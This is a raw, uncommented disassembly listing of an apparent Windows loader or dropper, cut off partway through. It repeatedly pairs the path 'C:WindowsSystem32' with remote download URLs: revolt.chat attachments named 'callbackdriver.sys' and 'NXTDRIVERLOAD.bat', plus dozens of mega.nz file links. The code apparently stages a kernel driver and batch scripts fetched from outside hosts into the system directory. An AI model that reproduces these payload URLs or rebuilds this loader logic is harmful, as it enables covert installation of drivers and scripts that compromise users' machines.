xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd30], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xd20]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd00], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd10], xmm1
mov r8d, 0x64
lea rdx, str.https:__autumn.revolt.chat_attachments_WoKl1ko9gMhWWCbGKDcCb7URYla1ZmnExNjeCXQMcU_callbackdriver.sys
lea rcx, [rbp + 0xd00]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xce0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcf0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xce0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xcc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcd0], xmm1
mov r8d, 0x63
lea rdx, str.https:__autumn.revolt.chat_attachments_NT4_lTX4vh19YaiTMuJjziqfWRqukcCV9Cp8zPFs73_NXTDRIVERLOAD.bat
lea rcx, [rbp + 0xcc0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xca0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xcb0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xca0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc90], xmm1
mov r8d, 0x64
lea rdx, str.https:__autumn.revolt.chat_attachments_MKqa_gbaHApYRtN51oq6m3nqOvsNjIXK_GDPHPYQE1_NXTDRIVERLOAD2.bat
lea rcx, [rbp + 0xc80]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc70], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xc60]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc50], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_FClh1ajaPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0xc40]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc30], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xc20]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xc00], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc10], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_xDFklYCS8qNeF9Hnz8IBadhUeiniKNPvDN1NEpjjAAAAAAAAAAA
lea rcx, [rbp + 0xc00]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xbe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xbf0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xbe0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xbc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xbd0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0CMRCI5Ka2hYOv7TvtyBB25VPUjXfOZ0czpuoicAAAAAAAAAAAA
lea rcx, [rbp + 0xbc0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xba0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xbb0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xba0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb90], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_pLERyYJCcHTz_1hBawZiMq7V_pjg7J4ajqurQnjuAAAAAAAAAAA
lea rcx, [rbp + 0xb80]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb70], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xb60]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb50], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_1PkEmYIIaeiOE_3_uHnQOSRi5_hc5pmKhWcIhBzxAAAAAAAAAAA
lea rcx, [rbp + 0xb40]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb30], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xb20]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb00], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb10], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_4PtlCYKZktBT82BU_N4LNdB6KOeaizY0RnH07Cb_AAAAAAAAAAA
lea rcx, [rbp + 0xb00]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xae0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xaf0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xae0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xac0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xad0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0DdCECoS_sQsh1aMDroGvNXT6_40JRvXgEssDbLsAAAAAAAAAAA
lea rcx, [rbp + 0xac0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xaa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xab0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xaa0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa90], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_tbdHQBQJxtWQoXmGZkxP9W7Jw4hqcv4TZVdUWLFhAAAAAAAAAAA
lea rcx, [rbp + 0xa80]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa70], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xa60]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa50], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BfFi0ISItrWM9VmKOtWNeEItX54v0jrQsHqYq67uAAAAAAAAAAA
lea rcx, [rbp + 0xa40]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa30], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0xa20]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xa00], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa10], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BSFAiB7SMca6D7JFQ8jzplhzMLn_1Vkrr4IpBmdJAAAAAAAAAAA
lea rcx, [rbp + 0xa00]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x9e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x9f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x9e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x9c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x9d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_wO8B1AJSDdlIA_COaDaTBrY_5UaOO7u_G_kZa_g5AAAAAAAAAAA
lea rcx, [rbp + 0x9c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x9a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x9b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x9a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x980], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x990], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lDsTnTYTOf3PeukVNlXgU39nK17LE5zPXQrxFFdbAAAAAAAAAAA
lea rcx, [rbp + 0x980]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x960], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x970], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x960]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x940], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x950], xmm1
mov r8d, 0x64
lea rdx, str.https:__autumn.revolt.chat_attachments_WoKl1ko9gMhWWCbGKDcCb7URYla1ZmnExNjeCXQMcU_callbackdriver.sys
lea rcx, [rbp + 0x940]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x920], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x930], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x920]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x900], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x910], xmm1
mov r8d, 0x63
lea rdx, str.https:__autumn.revolt.chat_attachments_NT4_lTX4vh19YaiTMuJjziqfWRqukcCV9Cp8zPFs73_NXTDRIVERLOAD.bat
lea rcx, [rbp + 0x900]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x8e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x8f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x8e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x8c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x8d0], xmm1
mov r8d, 0x64
lea rdx, str.https:__autumn.revolt.chat_attachments_MKqa_gbaHApYRtN51oq6m3nqOvsNjIXK_GDPHPYQE1_NXTDRIVERLOAD2.bat
lea rcx, [rbp + 0x8c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x8a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x8b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x8a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x880], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x890], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_FClh1ajaPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x880]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x870], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x860]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x840], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x850], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_xDFklYCS8qNeF9Hnz8IBadhUeiniKNPvDN1NEpjjAAAAAAAAAAA
lea rcx, [rbp + 0x840]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x820], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x830], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x820]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x800], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x810], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0CMRCI5Ka2hYOv7TvtyBB25VPUjXfOZ0czpuoicAAAAAAAAAAAA
lea rcx, [rbp + 0x800]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x7e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x7e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x7c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_pLERyYJCcHTz_1hBawZiMq7V_pjg7J4ajqurQnjuAAAAAAAAAAA
lea rcx, [rbp + 0x7c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x7a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x7b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x7a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x780], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x790], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_1PkEmYIIaeiOE_3_uHnQOSRi5_hc5pmKhWcIhBzxAAAAAAAAAAA
lea rcx, [rbp + 0x780]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x760], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x770], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x760]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x740], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x750], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_4PtlCYKZktBT82BU_N4LNdB6KOeaizY0RnH07Cb_AAAAAAAAAAA
lea rcx, [rbp + 0x740]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x720], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x730], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x720]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x700], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x710], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0DdCECoS_sQsh1aMDroGvNXT6_40JRvXgEssDbLsAAAAAAAAAAA
lea rcx, [rbp + 0x700]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x6e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_tbdHQBQJxtWQoXmGZkxP9W7Jw4hqcv4TZVdUWLFhAAAAAAAAAAA
lea rcx, [rbp + 0x6c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x6a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x6a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x680], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x690], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BfFi0ISItrWM9VmKOtWNeEItX54v0jrQsHqYq67uAAAAAAAAAAA
lea rcx, [rbp + 0x680]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x660], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x670], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x660]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x640], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x650], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BSFAiB7SMca6D7JFQ8jzplhzMLn_1Vkrr4IpBmdJAAAAAAAAAAA
lea rcx, [rbp + 0x640]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x620], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x630], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x620]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x600], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x610], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_wO8B1AJSDdlIA_COaDaTBrY_5UaOO7u_G_kZa_g5AAAAAAAAAAA
lea rcx, [rbp + 0x600]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x5e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x5c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lDsTnTYTOf3PeukVNlXgU39nK17LE5zPXQrxFFdbAAAAAAAAAAA
lea rcx, [rbp + 0x5c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x5a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x580], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x590], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_oGsAUYgIVbduFcTHtLXgYGkmZQoYeWzxk2iD6yNlAAAAAAAAAAA
lea rcx, [rbp + 0x580]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x560], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x570], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x560]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x540], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x550], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_sG13WLaB1cW75m9N7mtpvhkXYA_YgkBVBigS4_ebAAAAAAAAAAA
lea rcx, [rbp + 0x540]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x520], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x530], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x520]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x500], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x510], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_EWcgCDbZaKeP4LxK94FLQEA4xjsAsosy3DinTeU6AAAAAAAAAAA
lea rcx, [rbp + 0x500]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x4e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_QfczSAxRAWgNn7Yy13gYuMgACntWia8Tsij3G4GpAAAAAAAAAAA
lea rcx, [rbp + 0x4c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x4a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x480], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x490], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_0K0RxLqbX4Y3930btLjF0BtFNP0K9RByhclPBhCZAAAAAAAAAAA
lea rcx, [rbp + 0x480]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x460], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x470], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x460]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x440], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x450], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_dKtCCRQbrwxvYD51gXTO8lWrn723zyokyqAmmP7dAAAAAAAAAAA
lea rcx, [rbp + 0x440]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x420], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x430], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x420]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x400], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x410], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BXkXUTDY4vHzlk_o5L6eS6lv9gOeJwdrGJV1gNsMAAAAAAAAAAA
lea rcx, [rbp + 0x400]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x3e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_sWV0nYJY8nb4ejH5SLeY3AT3wIwSgqw0ZTpekqK7AAAAAAAAAAA
lea rcx, [rbp + 0x3c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x3a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x380], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x390], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_VC9BVRQQPXG_TG81pIPiQBmySDMqpY5NlQXwHyreAAAAAAAAAAA
lea rcx, [rbp + 0x380]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x360], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x370], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x360]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x350], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_AL0AkLRQsWtU7boDO6wP8d4E1tQE59M1BMN96nPYAAAAAAAAAAA
lea rcx, [rbp + 0x340]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x330], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x320]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x300], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x310], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_9bsmiZhKfvND_lKq9MOHnAnSBUvUF5iCOdUROiVHAAAAAAAAAAA
lea rcx, [rbp + 0x300]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x2e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2d0], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_MKFmmbyIVI6VVPer8QdlbtpQOMCyDdVRys52cc4PAAAAAAAAAAA
lea rcx, [rbp + 0x2c0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2b0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x2a0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x290], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_AW1U3BDYrC9Fq8Zr7UOcsA4Kb13IuDUUcfMx_J6QAAAAAAAAAAA
lea rcx, [rbp + 0x280]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x260], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x270], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x260]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x250], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_lX0VQKJJDw9Q8Amttpvnn224czsThhydeWrwuJDWAAAAAAAAAAA
lea rcx, [rbp + 0x240]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x230], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x220]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x210], xmm1
mov r8d, 0x49
lea rdx, str.https:__mega.nz_file_BD9A0ZKbMV7BfJk1BoVn2_px3OemSCDDPG2lQKxWAAAAAAAAAAA
lea rcx, [rbp + 0x200]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f0], xmm1
mov r8d, reloc.WS2_32.dll_send
lea rdx, str.C:WindowsSystem32
lea rcx, [rbp + 0x1e0]
call fcn.1400187a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d0], xmm1
mov r8d, 0x49
